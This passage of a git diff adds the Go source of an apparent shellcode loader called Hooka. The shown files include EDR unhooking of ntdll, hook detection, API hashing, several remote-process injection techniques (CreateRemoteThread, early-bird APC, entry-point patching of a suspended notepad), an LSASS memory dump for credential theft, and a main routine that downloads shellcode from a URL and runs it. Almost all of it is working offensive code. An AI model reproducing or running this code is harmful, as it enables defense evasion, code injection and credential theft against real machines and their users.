"", err + } + + for _, ex := range exports { + if (StrToSha1(ex.Name) == hash) { + return windows.NewLazyDLL(dll).NewProc(ex.Name), ex.Name, nil + } + } + + return new(windows.LazyProc), "", errors.New("function not found!") +} + +// Convert string to sha1 +func HashFromFunc(funcname string) (string) { + return StrToSha1(funcname) +} + + diff --git a/core/hooks.go b/core/hooks.go new file mode 100644 index 0000000..5c6cc39 --- /dev/null +++ b/core/hooks.go @@ -0,0 +1,77 @@ +package core + +/* + +This package provides a function to detect Windows API hooked functions (e.g. CreateRemoteThread) + +References: +https://www.ired.team/offensive-security/defense-evasion/detecting-hooked-syscall-functions +https://github.com/C-Sto/BananaPhone + +*/ + +import ( + "fmt" + "errors" + "strings" + + // Third-party packages + "github.com/Binject/debug/pe" +) + +func DetectHooks() ([]string, error) { + var hooked_functions []string + + ntdll_pe, err := pe.Open(ntdllpath) // Open and parse ntdll.dll as a PE + if err != nil { + return hooked_functions, err + } + defer ntdll_pe.Close() + + exports, err := ntdll_pe.Exports() // Get exported functions + if err != nil { + return hooked_functions, err + } + + for _, exp := range exports { // Iterate over them + offset := RvaToOffset(ntdll_pe, exp.VirtualAddress) // Get RVA offset + bBytes, err := ntdll_pe.Bytes() // Get bytes from ntdll.dll + if err != nil { + return hooked_functions, err + } + + buff := bBytes[offset : offset+10] + _, err = CheckBytes(buff) // Get syscall ID (if function is hooked it returns a custom error) + var hook_err MayBeHookedError + + if (len(exp.Name) > 3) { // Avoid errors by checking function name length + if exp.Name[0:2] == "Nt" || exp.Name[0:2] == "Zw" { // Just use functions which start by "Nt" or "Zw" + if errors.As(err, &hook_err) == false { // Check error + /*if bytes.HasPrefix(buff, []byte{0xE9}) == false { + fmt.Println(exp.Name) + }*/ + hooked_functions = append(hooked_functions, exp.Name) + } + } + } + } + + return hooked_functions, nil +} + +func IsHooked(funcname string) (bool, error) { + all_hooks, err := DetectHooks() + if err != nil { + return false, err + } + + for _, h := range all_hooks { + if (strings.ToLower(funcname) == strings.ToLower(h)) { + return true, nil + } + } + + return false, nil +} + + diff --git a/core/injection.go b/core/injection.go new file mode 100644 index 0000000..dad29a7 --- /dev/null +++ b/core/injection.go @@ -0,0 +1,48 @@ +package core + +import ( + "fmt" + "strings" +) + +var techniques = []string{"CreateRemoteThread", "Fibers", "CreateProcess", "EarlyBirdApc"} + +func InjectWithTechnique(shellcode []byte, technique string) (error) { + // Check especified injection technique + if (strings.ToLower(technique) == "createremotethread") { + err := CreateRemoteThread(shellcode) + if err != nil { + return err + } + + } else if (strings.ToLower(technique) == "fibers") { + err := Fibers(shellcode) + if err != nil { + return err + } + + } else if (strings.ToLower(technique) == "createprocess") { + err := CreateProcess(shellcode) + if err != nil { + return err + } + + } else if (strings.ToLower(technique) == "earlybirdapc") { + err := EarlyBirdApc(shellcode) + if err != nil { + return err + } + + } else { + rand_n := RandomInt(3, 0) + fmt.Println("[*] Injecting shellcode using " + techniques[rand_n] + " function") + err := InjectWithTechnique(shellcode, techniques[rand_n]) + if err != nil { + return err + } + } + + return nil +} + + diff --git a/core/lsass.go b/core/lsass.go new file mode 100644 index 0000000..e610bed --- /dev/null +++ b/core/lsass.go @@ -0,0 +1,165 @@ +package core + +/* + +References: +https://github.com/calebsargent/GoProcDump +https://www.ired.team/offensive-security/credential-access-and-credential-dumping/dumping-lsass-passwords-without-mimikatz-minidumpwritedump-av-signature-bypass + +*/ + +import ( + "os" + "syscall" + "unsafe" + + mproc "github.com/D3Ext/maldev/process" +) + +func DumpLsass(output string) (error) { + err := elevateProcessToken() + if err != nil { + return err + } + + all_lsass_pids, err := mproc.FindPidByName("lsass.exe") + if err != nil { + return err + } + lsass_pid := all_lsass_pids[0] + + //set up Win32 APIs + var dbghelp = syscall.NewLazyDLL("Dbghelp.dll") + var procMiniDumpWriteDump = dbghelp.NewProc("MiniDumpWriteDump") + var kernel32 = syscall.NewLazyDLL("kernel32.dll") + var procOpenProcess = kernel32.NewProc("OpenProcess") + var procCreateFileW = kernel32.NewProc("CreateFileW") + + // error not handle because it's unstable + processHandle, _, _ := procOpenProcess.Call(uintptr(0xFFFF), uintptr(1), uintptr(lsass_pid)) + + // Create memory dump + os.Create(output) + + path, _ := syscall.UTF16PtrFromString(output) + fileHandle, _, _ := procCreateFileW.Call( + uintptr(unsafe.Pointer(path)), + syscall.GENERIC_WRITE, + syscall.FILE_SHARE_READ|syscall.FILE_SHARE_WRITE, + 0, + syscall.OPEN_EXISTING, + syscall.FILE_ATTRIBUTE_NORMAL, + 0, + ) + + ret, _, err := procMiniDumpWriteDump.Call( + uintptr(processHandle), + uintptr(lsass_pid), + uintptr(fileHandle), + 0x00061907, + 0, + 0, + 0, + ) + + if (ret == 0) { + os.Remove(output) + return err + } + + return nil +} + +func elevateProcessToken() (error) { + + //token elevation process sourced from + //https://stackoverflow.com/questions/39595252/shutting-down-windows-using-golang-code + + type Luid struct { + lowPart uint32 // DWORD + highPart int32 // long + } + + type LuidAndAttributes struct { + luid Luid // LUID + attributes uint32 // DWORD + } + + type TokenPrivileges struct { + privilegeCount uint32 // DWORD + privileges [1]LuidAndAttributes + } + + const SeDebugPrivilege = "SeDebugPrivilege" + const tokenAdjustPrivileges = 0x0020 + const tokenQuery = 0x0008 + var hToken uintptr + + user32 := syscall.MustLoadDLL("user32") + defer user32.Release() + + kernel32 := syscall.MustLoadDLL("kernel32") + defer user32.Release() + + advapi32 := syscall.MustLoadDLL("advapi32") + defer advapi32.Release() + + GetCurrentProcess := kernel32.MustFindProc("GetCurrentProcess") + GetLastError := kernel32.MustFindProc("GetLastError") + OpenProdcessToken := advapi32.MustFindProc("OpenProcessToken") + LookupPrivilegeValue := advapi32.MustFindProc("LookupPrivilegeValueW") + AdjustTokenPrivileges := advapi32.MustFindProc("AdjustTokenPrivileges") + + currentProcess, _, _ := GetCurrentProcess.Call() + + result, _, err := OpenProdcessToken.Call( + currentProcess, + tokenAdjustPrivileges|tokenQuery, + uintptr(unsafe.Pointer(&hToken)), + ) + + if result != 1 { + return err + } + + var tkp TokenPrivileges + + result, _, err = LookupPrivilegeValue.Call( + uintptr(0), + uintptr(unsafe.Pointer(syscall.StringToUTF16Ptr(SeDebugPrivilege))), + uintptr(unsafe.Pointer(&(tkp.privileges[0].luid))), + ) + + if result != 1 { + return err + } + + const SePrivilegeEnabled uint32 = 0x00000002 + + tkp.privilegeCount = 1 + tkp.privileges[0].attributes = SePrivilegeEnabled + + result, _, err = AdjustTokenPrivileges.Call( + hToken, + 0, + uintptr(unsafe.Pointer(&tkp)), + 0, + uintptr(0), + 0, + ) + + if result != 1 { + return err + } + + result, _, _ = GetLastError.Call() + if result != 0 { + return err + } + + return nil +} + + + + diff --git a/core/openprocess.go b/core/openprocess.go new file mode 100644 index 0000000..d2bc168 --- /dev/null +++ b/core/openprocess.go @@ -0,0 +1,301 @@ +package core + +/* + +References: +https://github.com/Ne0nd0g/go-shellcode/blob/master/cmd/CreateProcess/main.go + +*/ + +import ( + "encoding/binary" + "fmt" + "log" + "syscall" + "errors" + "unsafe" + + // Sub Repositories + "golang.org/x/sys/windows" +) + +func CreateProcess(shellcode []byte) (error) { + + kernel32 := windows.NewLazySystemDLL("kernel32.dll") + ntdll := windows.NewLazySystemDLL("ntdll.dll") + + VirtualAllocEx := kernel32.NewProc("VirtualAllocEx") + VirtualProtectEx := kernel32.NewProc("VirtualProtectEx") + WriteProcessMemory := kernel32.NewProc("WriteProcessMemory") + NtQueryInformationProcess := ntdll.NewProc("NtQueryInformationProcess") + + procInfo := &windows.ProcessInformation{} + startupInfo := &windows.StartupInfo{ + Flags: windows.STARTF_USESTDHANDLES | windows.CREATE_SUSPENDED, + } + + errCreateProcess := windows.CreateProcess(syscall.StringToUTF16Ptr("C:\\Windows\\System32\\notepad.exe"), syscall.StringToUTF16Ptr(""), nil, nil, true, windows.CREATE_SUSPENDED, nil, nil, startupInfo, procInfo) + if errCreateProcess != nil { + return errCreateProcess + } + + addr, _, _ := VirtualAllocEx.Call(uintptr(procInfo.Process), 0, uintptr(len(shellcode)), windows.MEM_COMMIT|windows.MEM_RESERVE, windows.PAGE_READWRITE) + + if addr == 0 { + return errors.New("VirtualAllocEx failed and returned 0") + } + + // Write shellcode into child process memory + WriteProcessMemory.Call(uintptr(procInfo.Process), addr, (uintptr)(unsafe.Pointer(&shellcode[0])), uintptr(len(shellcode))) + + oldProtect := windows.PAGE_READWRITE + VirtualProtectEx.Call(uintptr(procInfo.Process), addr, uintptr(len(shellcode)), windows.PAGE_EXECUTE_READ, uintptr(unsafe.Pointer(&oldProtect))) + + type PEB struct { + InheritedAddressSpace byte // BYTE 0 + ReadImageFileExecOptions byte // BYTE 1 + BeingDebugged byte // BYTE 2 + reserved2 [1]byte // BYTE 3 + Mutant uintptr // BYTE 4 + ImageBaseAddress uintptr // BYTE 8 + Ldr uintptr // PPEB_LDR_DATA + ProcessParameters uintptr // PRTL_USER_PROCESS_PARAMETERS + reserved4 [3]uintptr // PVOID + AtlThunkSListPtr uintptr // PVOID + reserved5 uintptr // PVOID + reserved6 uint32 // ULONG + reserved7 uintptr // PVOID + reserved8 uint32 // ULONG + AtlThunkSListPtr32 uint32 // ULONG + reserved9 [45]uintptr // PVOID + reserved10 [96]byte // BYTE + PostProcessInitRoutine uintptr // PPS_POST_PROCESS_INIT_ROUTINE + reserved11 [128]byte // BYTE + reserved12 [1]uintptr // PVOID + SessionId uint32 // ULONG + } + + // https://github.com/elastic/go-windows/blob/master/ntdll.go#L77 + type PROCESS_BASIC_INFORMATION struct { + reserved1 uintptr // PVOID + PebBaseAddress uintptr // PPEB + reserved2 [2]uintptr // PVOID + UniqueProcessId uintptr // ULONG_PTR + InheritedFromUniqueProcessID uintptr // PVOID + } + + var processInformation PROCESS_BASIC_INFORMATION + var returnLength uintptr + ntStatus, _, _ := NtQueryInformationProcess.Call(uintptr(procInfo.Process), 0, uintptr(unsafe.Pointer(&processInformation)), unsafe.Sizeof(processInformation), returnLength) + + if ntStatus != 0 { + if ntStatus == 3221225476 { + return errors.New("Error calling NtQueryInformationProcess: STATUS_INFO_LENGTH_MISMATCH") // 0xc0000004 (3221225476) + } + fmt.Println(fmt.Sprintf("[!] NtQueryInformationProcess returned NTSTATUS: %x(%d)", ntStatus, ntStatus)) + return errors.New("Error calling NtQueryInformationProcess") + } + + // Read from PEB base address to populate the PEB structure + ReadProcessMemory := kernel32.NewProc("ReadProcessMemory") + + var peb PEB + var readBytes int32 + + ReadProcessMemory.Call(uintptr(procInfo.Process), processInformation.PebBaseAddress, uintptr(unsafe.Pointer(&peb)), unsafe.Sizeof(peb), uintptr(unsafe.Pointer(&readBytes))) + + // Read the child program's DOS header and validate it is a MZ executable + type IMAGE_DOS_HEADER struct { + Magic uint16 // USHORT Magic number + Cblp uint16 // USHORT Bytes on last page of file + Cp uint16 // USHORT Pages in file + Crlc uint16 // USHORT Relocations + Cparhdr uint16 // USHORT Size of header in paragraphs + MinAlloc uint16 // USHORT Minimum extra paragraphs needed + MaxAlloc uint16 // USHORT Maximum extra paragraphs needed + SS uint16 // USHORT Initial (relative) SS value + SP uint16 // USHORT Initial SP value + CSum uint16 // USHORT Checksum + IP uint16 // USHORT Initial IP value + CS uint16 // USHORT Initial (relative) CS value + LfaRlc uint16 // USHORT File address of relocation table + Ovno uint16 // USHORT Overlay number + Res [4]uint16 // USHORT Reserved words + OEMID uint16 // USHORT OEM identifier (for e_oeminfo) + OEMInfo uint16 // USHORT OEM information; e_oemid specific + Res2 [10]uint16 // USHORT Reserved words + LfaNew int32 // LONG File address of new exe header + } + + var dosHeader IMAGE_DOS_HEADER + var readBytes2 int32 + + ReadProcessMemory.Call(uintptr(procInfo.Process), peb.ImageBaseAddress, uintptr(unsafe.Pointer(&dosHeader)), unsafe.Sizeof(dosHeader), uintptr(unsafe.Pointer(&readBytes2))) + + // 23117 is the LittleEndian unsigned base10 representation of MZ + // 0x5a4d is the LittleEndian unsigned base16 represenation of MZ + if dosHeader.Magic != 23117 { + log.Fatal(fmt.Sprintf("[!]DOS image header magic string was not MZ")) + } + + // Read the child process's PE header signature to validate it is a PE + var Signature uint32 + var readBytes3 int32 + + ReadProcessMemory.Call(uintptr(procInfo.Process), peb.ImageBaseAddress+uintptr(dosHeader.LfaNew), uintptr(unsafe.Pointer(&Signature)), unsafe.Sizeof(Signature), uintptr(unsafe.Pointer(&readBytes3))) + + // 17744 is Little Endian Unsigned 32-bit integer in decimal for PE (null terminated) + // 0x4550 is Little Endian Unsigned 32-bit integer in hex for PE (null terminated) + if Signature != 17744 { + return errors.New("PE Signature string was not PE") + } + + type IMAGE_FILE_HEADER struct { + Machine uint16 + NumberOfSections uint16 + TimeDateStamp uint32 + PointerToSymbolTable uint32 + NumberOfSymbols uint32 + SizeOfOptionalHeader uint16 + Characteristics uint16 + } + + var peHeader IMAGE_FILE_HEADER + var readBytes4 int32 + + ReadProcessMemory.Call(uintptr(procInfo.Process), peb.ImageBaseAddress+uintptr(dosHeader.LfaNew)+unsafe.Sizeof(Signature), uintptr(unsafe.Pointer(&peHeader)), unsafe.Sizeof(peHeader), uintptr(unsafe.Pointer(&readBytes4))) + + type IMAGE_OPTIONAL_HEADER64 struct { + Magic uint16 + MajorLinkerVersion byte + MinorLinkerVersion byte + SizeOfCode uint32 + SizeOfInitializedData uint32 + SizeOfUninitializedData uint32 + AddressOfEntryPoint uint32 + BaseOfCode uint32 + ImageBase uint64 + SectionAlignment uint32 + FileAlignment uint32 + MajorOperatingSystemVersion uint16 + MinorOperatingSystemVersion uint16 + MajorImageVersion uint16 + MinorImageVersion uint16 + MajorSubsystemVersion uint16 + MinorSubsystemVersion uint16 + Win32VersionValue uint32 + SizeOfImage uint32 + SizeOfHeaders uint32 + CheckSum uint32 + Subsystem uint16 + DllCharacteristics uint16 + SizeOfStackReserve uint64 + SizeOfStackCommit uint64 + SizeOfHeapReserve uint64 + SizeOfHeapCommit uint64 + LoaderFlags uint32 + NumberOfRvaAndSizes uint32 + DataDirectory uintptr + } + + type IMAGE_OPTIONAL_HEADER32 struct { + Magic uint16 + MajorLinkerVersion byte + MinorLinkerVersion byte + SizeOfCode uint32 + SizeOfInitializedData uint32 + SizeOfUninitializedData uint32 + AddressOfEntryPoint uint32 + BaseOfCode uint32 + BaseOfData uint32 // Different from 64 bit header + ImageBase uint64 + SectionAlignment uint32 + FileAlignment uint32 + MajorOperatingSystemVersion uint16 + MinorOperatingSystemVersion uint16 + MajorImageVersion uint16 + MinorImageVersion uint16 + MajorSubsystemVersion uint16 + MinorSubsystemVersion uint16 + Win32VersionValue uint32 + SizeOfImage uint32 + SizeOfHeaders uint32 + CheckSum uint32 + Subsystem uint16 + DllCharacteristics uint16 + SizeOfStackReserve uint64 + SizeOfStackCommit uint64 + SizeOfHeapReserve uint64 + SizeOfHeapCommit uint64 + LoaderFlags uint32 + NumberOfRvaAndSizes uint32 + DataDirectory uintptr + } + + var optHeader64 IMAGE_OPTIONAL_HEADER64 + var optHeader32 IMAGE_OPTIONAL_HEADER32 + var readBytes5 int32 + + if peHeader.Machine == 34404 { // 0x8664 + ReadProcessMemory.Call(uintptr(procInfo.Process), peb.ImageBaseAddress+uintptr(dosHeader.LfaNew)+unsafe.Sizeof(Signature)+unsafe.Sizeof(peHeader), uintptr(unsafe.Pointer(&optHeader64)), unsafe.Sizeof(optHeader64), uintptr(unsafe.Pointer(&readBytes5))) + } else if peHeader.Machine == 332 { // 0x14c + ReadProcessMemory.Call(uintptr(procInfo.Process), peb.ImageBaseAddress+uintptr(dosHeader.LfaNew)+unsafe.Sizeof(Signature)+unsafe.Sizeof(peHeader), uintptr(unsafe.Pointer(&optHeader32)), unsafe.Sizeof(optHeader32), uintptr(unsafe.Pointer(&readBytes5))) + } else { + return errors.New(fmt.Sprintf("Unknow IMAGE_OPTIONAL_HEADER type for machine type: 0x%x", peHeader.Machine)) + } + + // Overwrite the value at AddressofEntryPoint field with trampoline to load the shellcode address in RAX/EAX and jump to it + var ep uintptr + if peHeader.Machine == 34404 { // 0x8664 x64 + ep = peb.ImageBaseAddress + uintptr(optHeader64.AddressOfEntryPoint) + } else if peHeader.Machine == 332 { // 0x14c x86 + ep = peb.ImageBaseAddress + uintptr(optHeader32.AddressOfEntryPoint) + } else { + return errors.New(fmt.Sprintf("Unknow IMAGE_OPTIONAL_HEADER type for machine type: 0x%x", peHeader.Machine)) + } + + var epBuffer []byte + var shellcodeAddressBuffer []byte + if peHeader.Machine == 34404 { // 0x8664 x64 + epBuffer = append(epBuffer, byte(0x48)) + epBuffer = append(epBuffer, byte(0xb8)) + shellcodeAddressBuffer = make([]byte, 8) // 8 bytes for 64-bit address + binary.LittleEndian.PutUint64(shellcodeAddressBuffer, uint64(addr)) + epBuffer = append(epBuffer, shellcodeAddressBuffer...) + } else if peHeader.Machine == 332 { // 0x14c x86 + epBuffer = append(epBuffer, byte(0xb8)) + shellcodeAddressBuffer = make([]byte, 4) // 4 bytes for 32-bit address + binary.LittleEndian.PutUint32(shellcodeAddressBuffer, uint32(addr)) + epBuffer = append(epBuffer, shellcodeAddressBuffer...) + } else { + return errors.New(fmt.Sprintf("Unknow IMAGE_OPTIONAL_HEADER type for machine type: 0x%x", peHeader.Machine)) + } + + // 0xff ; 0xe0 = jmp [r|e]ax + epBuffer = append(epBuffer, byte(0xff)) + epBuffer = append(epBuffer, byte(0xe0)) + + WriteProcessMemory.Call(uintptr(procInfo.Process), ep, uintptr(unsafe.Pointer(&epBuffer[0])), uintptr(len(epBuffer))) + + // Resume the child process + _, errResumeThread := windows.ResumeThread(procInfo.Thread) + if errResumeThread != nil { + return errors.New(fmt.Sprintf("Error calling ResumeThread:\r\n%s", errResumeThread.Error())) + } + + // Close the handle to the child process + errCloseProcHandle := windows.CloseHandle(procInfo.Process) + if errCloseProcHandle != nil { + return errors.New(fmt.Sprintf("Error closing the child process handle:\r\n\t%s", errCloseProcHandle.Error())) + } + + // Close the hand to the child process thread + errCloseThreadHandle := windows.CloseHandle(procInfo.Thread) + if errCloseThreadHandle != nil { + return errors.New(fmt.Sprintf("Error closing the child process thread handle:\r\n\t%s", errCloseThreadHandle.Error())) + } + + return nil +} + + diff --git a/core/unhook.go b/core/unhook.go new file mode 100644 index 0000000..f3e8792 --- /dev/null +++ b/core/unhook.go @@ -0,0 +1,56 @@ +package core + +/* + +References: +https://github.com/RedLectroid/APIunhooker +https://www.ired.team/offensive-security/defense-evasion/bypassing-cylance-and-other-avs-edrs-by-unhooking-windows-apis + +*/ + +import ( + "fmt" + "unsafe" + "syscall" + + "golang.org/x/sys/windows" +) + +func Unhook(funcname string) (error) { + + // Load DLL APIs + k32 := syscall.NewLazyDLL("kernel32.dll") + getCurrentProcess := k32.NewProc("GetCurrentProcess") + getModuleHandle := k32.NewProc("GetModuleHandleW") + getProcAddress := k32.NewProc("GetProcAddress") + writeProcessMemory := k32.NewProc("WriteProcessMemory") + + var assembly_bytes []byte + + ntdll_lib, _ := syscall.LoadLibrary("C:\\Windows\\System32\\ntdll.dll") + defer syscall.FreeLibrary(ntdll_lib) + + procAddr, _ := syscall.GetProcAddress(ntdll_lib, funcname) + + ptr_bytes := (*[1 << 30]byte)(unsafe.Pointer(procAddr)) + funcBytes := ptr_bytes[:5:5] + + for i := 0; i < 5; i++ { + assembly_bytes = append(assembly_bytes, funcBytes[i]) + } + + ownHandle, _, _ := getCurrentProcess.Call() + + ntdll_ptr, _ := windows.UTF16PtrFromString("ntdll.dll") + moduleHandle, _, _ := getModuleHandle.Call(uintptr(unsafe.Pointer(ntdll_ptr))) + + func_ptr, _ := windows.UTF16PtrFromString(funcname) + procAddr2, _, _ := getProcAddress.Call(moduleHandle, uintptr(unsafe.Pointer(func_ptr))) + + // Overwrite address with original function bytes + writeProcessMemory.Call(ownHandle, procAddr2, uintptr(unsafe.Pointer(&assembly_bytes[0])), 5, uintptr(0)) + + return nil +} + + diff --git a/go.mod b/go.mod new file mode 100644 index 0000000..36a8e4d --- /dev/null +++ b/go.mod @@ -0,0 +1,20 @@ +module github.com/D3Ext/Hooka + +go 1.19 + +require ( + github.com/Binject/debug v0.0.0-20211007083345-9605c99179ee + github.com/C-Sto/BananaPhone v0.0.0-20220220002628-6585e5913761 + golang.org/x/sys v0.3.0 +) + +require ( + github.com/D3Ext/maldev v0.1.3 // indirect + github.com/awgh/rawreader v0.0.0-20200626064944-56820a9c6da4 // indirect + github.com/briandowns/spinner v1.20.0 // indirect + github.com/common-nighthawk/go-figure v0.0.0-20210622060536-734e95fb86be // indirect + github.com/fatih/color v1.13.0 // indirect + github.com/mattn/go-colorable v0.1.9 // indirect + github.com/mattn/go-isatty v0.0.14 // indirect + golang.org/x/term v0.3.0 // indirect +) diff --git a/go.sum b/go.sum new file mode 100644 index 0000000..b450cb5 --- /dev/null +++ b/go.sum @@ -0,0 +1,34 @@ +github.com/Binject/debug v0.0.0-20200830173345-f54480b6530f/go.mod h1:QzgxDLY/qdKlvnbnb65eqTedhvQPbaSP2NqIbcuKvsQ= +github.com/Binject/debug v0.0.0-20211007083345-9605c99179ee h1:neBp9wDYVY4Uu1gGlrL+IL4JeZslz+hGEAjBXGAPWak= +github.com/Binject/debug v0.0.0-20211007083345-9605c99179ee/go.mod h1:QzgxDLY/qdKlvnbnb65eqTedhvQPbaSP2NqIbcuKvsQ= +github.com/C-Sto/BananaPhone v0.0.0-20220220002628-6585e5913761 h1:0144WWUvo86bVDEkxb3vmM92DCEsrkSYSd5gV1YlGKE= +github.com/C-Sto/BananaPhone v0.0.0-20220220002628-6585e5913761/go.mod h1:QsEPWHZooj8uXL2YEdpQX+hDr00Plw7myenTiduBHRA= +github.com/D3Ext/maldev v0.1.3 h1:cn4TGdHpdUmjpNhLJ2/lpgU1TkJrEBVJGWcdgm7RQSg= +github.com/D3Ext/maldev v0.1.3/go.mod h1:+ZMVJlimO5ROIg34U/QkhmIQa0dU7rzxbhkFMH/DADQ= +github.com/awgh/rawreader v0.0.0-20200626064944-56820a9c6da4 h1:cIAK2NNf2yafdgpFRNJrgZMwvy61BEVpGoHc2n4/yWs= +github.com/awgh/rawreader v0.0.0-20200626064944-56820a9c6da4/go.mod h1:SalMPBCab3yuID8nIhLfzwoBV+lBRyaC7NhuN8qL8xE= +github.com/briandowns/spinner v1.20.0 h1:GQq1Yf1KyzYT8CY19GzWrDKP6hYOFB6J72Ks7d8aO1U= +github.com/briandowns/spinner v1.20.0/go.mod h1:TcwZHb7Wb6vn/+bcVv1UXEzaA4pLS7yznHlkY/HzH44= +github.com/common-nighthawk/go-figure v0.0.0-20210622060536-734e95fb86be h1:J5BL2kskAlV9ckgEsNQXscjIaLiOYiZ75d4e94E6dcQ= +github.com/common-nighthawk/go-figure v0.0.0-20210622060536-734e95fb86be/go.mod h1:mk5IQ+Y0ZeO87b858TlA645sVcEcbiX6YqP98kt+7+w= +github.com/fatih/color v1.7.0/go.mod h1:Zm6kSWBoL9eyXnKyktHP6abPY2pDugNf5KwzbycvMj4= +github.com/fatih/color v1.13.0 h1:8LOYc1KYPPmyKMuN8QV2DNRWNbLo6LZ0iLs8+mlH53w= +github.com/fatih/color v1.13.0/go.mod h1:kLAiJbzzSOZDVNGyDpeOxJ47H46qBXwg5ILebYFFOfk= +github.com/mattn/go-colorable v0.1.2/go.mod h1:U0ppj6V5qS13XJ6of8GYAs25YV2eR4EVcfRqFIhoBtE= +github.com/mattn/go-colorable v0.1.9 h1:sqDoxXbdeALODt0DAeJCVp38ps9ZogZEAXjus69YV3U= +github.com/mattn/go-colorable v0.1.9/go.mod h1:u6P/XSegPjTcexA+o6vUJrdnUu04hMope9wVRipJSqc= +github.com/mattn/go-isatty v0.0.8/go.mod h1:Iq45c/XA43vh69/j3iqttzPXn0bhXyGjM0Hdxcsrc5s= +github.com/mattn/go-isatty v0.0.12/go.mod h1:cbi8OIDigv2wuxKPP5vlRcQ1OAZbq2CE4Kysco4FUpU= +github.com/mattn/go-isatty v0.0.14 h1:yVuAays6BHfxijgZPzw+3Zlu5yQgKGP2/hcQbHb7S9Y= +github.com/mattn/go-isatty v0.0.14/go.mod h1:7GGIvUiUoEMVVmxf/4nioHXj79iQHKdU27kJ6hsGG94= +golang.org/x/sys v0.0.0-20190222072716-a9d3bda3a223/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY= +golang.org/x/sys v0.0.0-20200116001909-b77594299b42/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= +golang.org/x/sys v0.0.0-20200223170610-d5e6a3e2c0ae/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= +golang.org/x/sys v0.0.0-20200828194041-157a740278f4/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= +golang.org/x/sys v0.0.0-20210615035016-665e8c7367d1/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= +golang.org/x/sys v0.0.0-20210630005230-0f9fa26af87c/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= +golang.org/x/sys v0.3.0 h1:w8ZOecv6NaNa/zC8944JTU3vz4u6Lagfk4RPQxv92NQ= +golang.org/x/sys v0.3.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= +golang.org/x/term v0.1.0/go.mod h1:jbD1KX2456YbFQfuXm/mYQcufACuNUgVhRMnK/tPxf8= +golang.org/x/term v0.3.0 h1:qoo4akIqOcDME5bhc/NgxUdovd6BSS2uMsVjB56q1xI= +golang.org/x/term v0.3.0/go.mod h1:q750SLmJuPmVoN1blW3UFBPREJfb1KmY3vwxfr+nFDA= diff --git a/main.go b/main.go new file mode 100644 index 0000000..7e6cc73 --- /dev/null +++ b/main.go @@ -0,0 +1,255 @@ +package main + +import ( + "os" + "time" + "flag" + "strings" + "encoding/hex" + "encoding/base64" + + // Hooka + "github.com/D3Ext/Hooka/core" + + // My own malware dev package + l "github.com/D3Ext/maldev/logging" +) + +func main() { + var shellcode []byte + var err error + + // Parse CLI flags and retrieve values + sc_url, sc_file, dll_file, technique, hook_detect, _, _, base64_flag, hex_flag, test_flag, lsass := core.ParseFlags() + + l.PrintBanner("Hooka!") + l.Println(" by D3Ext - v0.1") + time.Sleep(100 * time.Millisecond) + + if (sc_url == "") && (sc_file == "") && (dll_file == "") && (!hook_detect) && (!test_flag) { // Enter here if any main flag was especified + l.Println() + flag.PrintDefaults() + l.Println("\n[-] Parameters missing: provide a shellcode to inject (--file/--url/--dll), detect hooked functions (--hooks) or test program capabilities (--test)") + os.Exit(0) + + } else if (sc_url != "") && (sc_file != "") && (dll_file == "") { // Check if both --url and --file flags were passed + l.Println() + flag.PrintDefaults() + l.Println("\n[-] Error: you can't use --url and --file at the same time!") + + } else if (sc_url != "") && (sc_file == "") && (dll_file != "") { // Check if both --url and --dll flags were passed + l.Println() + flag.PrintDefaults() + l.Println("\n[-] Error: you can't use --url and --dll at the same time!") + + } else if (sc_url == "") && (sc_file != "") && (dll_file != "") { // Check if both --file and --dll flags were passed + l.Println() + flag.PrintDefaults() + l.Println("\n[-] Error: you can't use --file and --dll at the same time!") + + } else if (sc_url != "") && (sc_file == "") && (dll_file == "") { + + if (base64_flag) && (hex_flag) { // Check if both flags were passed + l.Println() + flag.PrintDefaults() + l.Println("\n[-] Error: you can't use base64 and hex encoding flag at the same time!") + os.Exit(0) + } + + time.Sleep(200 * time.Millisecond) + l.Println("\n[+] Remote shellcode URL: " + sc_url) + time.Sleep(300 * time.Millisecond) + + if (!base64_flag) && (!hex_flag) { // Check shellcode encoding flags + l.Println("[+] No encoding was especified") + } else if (base64_flag) && (!hex_flag) { + l.Println("[+] Shellcode encoding: base64") + } else if (!base64_flag) && (hex_flag) { + l.Println("[+] Shellcode encoding: hex") + } + time.Sleep(300 * time.Millisecond) + + l.Println("[*] Retrieving shellcode from url...") + shellcode, err = core.GetShellcodeFromUrl(sc_url) + if err != nil { // Handle error + l.Println("[-] An error has ocurred retrieving shellcode!") + l.Fatal(err) + } + time.Sleep(300 * time.Millisecond) + + if (base64_flag) && (!hex_flag) { // Decode shellcode if necessary + l.Println("[*] Decoding shellcode...") + shellcode, err = base64.StdEncoding.DecodeString(string(shellcode)) + if err != nil { // Handle error + l.Fatal(err) + } + time.Sleep(300 * time.Millisecond) + + } else if (!base64_flag) && (hex_flag) { + l.Println("[*] Decoding shellcode...") + shellcode, err = hex.DecodeString(string(shellcode)) + if err != nil { // Handle error + l.Fatal(err) + } + time.Sleep(300 * time.Millisecond) + } + + if (technique != "") { + l.Println("[*] Injecting shellcode using " + technique + " function") + } + + err = core.InjectWithTechnique(shellcode, technique) // Inject shellcode + if err != nil { // Handle error + l.Fatal(err) + } + l.Println("[+] Shellcode should have been executed without errors!") + + } else if (sc_file != "") && (sc_url == "") && (dll_file == "") { + + if (base64_flag) && (hex_flag) { // Check if both flags were passed + l.Println() + flag.PrintDefaults() + l.Println("\n[-] Error: you can't use base64 and hex encoding flag at the same time!") + os.Exit(0) + } + + _, err := os.Stat(sc_file) // Check if file exists + if os.IsNotExist(err) { + l.Println("\n[-] Especified file doesn't exist!") + time.Sleep(100 * time.Millisecond) + os.Exit(0) + } + + time.Sleep(200 * time.Millisecond) // Add some delay to let the user read info + l.Println("[+] Shellcode file: " + sc_file) + time.Sleep(300 * time.Millisecond) + l.Println("[*] Getting shellcode from file") + time.Sleep(300 * time.Millisecond) + + shellcode, err = core.GetShellcodeFromFile(sc_file) // Read file and retrieve shellcode as bytes + if err != nil { // Handle error + l.Fatal(err) + } + + if (!base64_flag) && (!hex_flag) { // Check shellcode encoding flags + 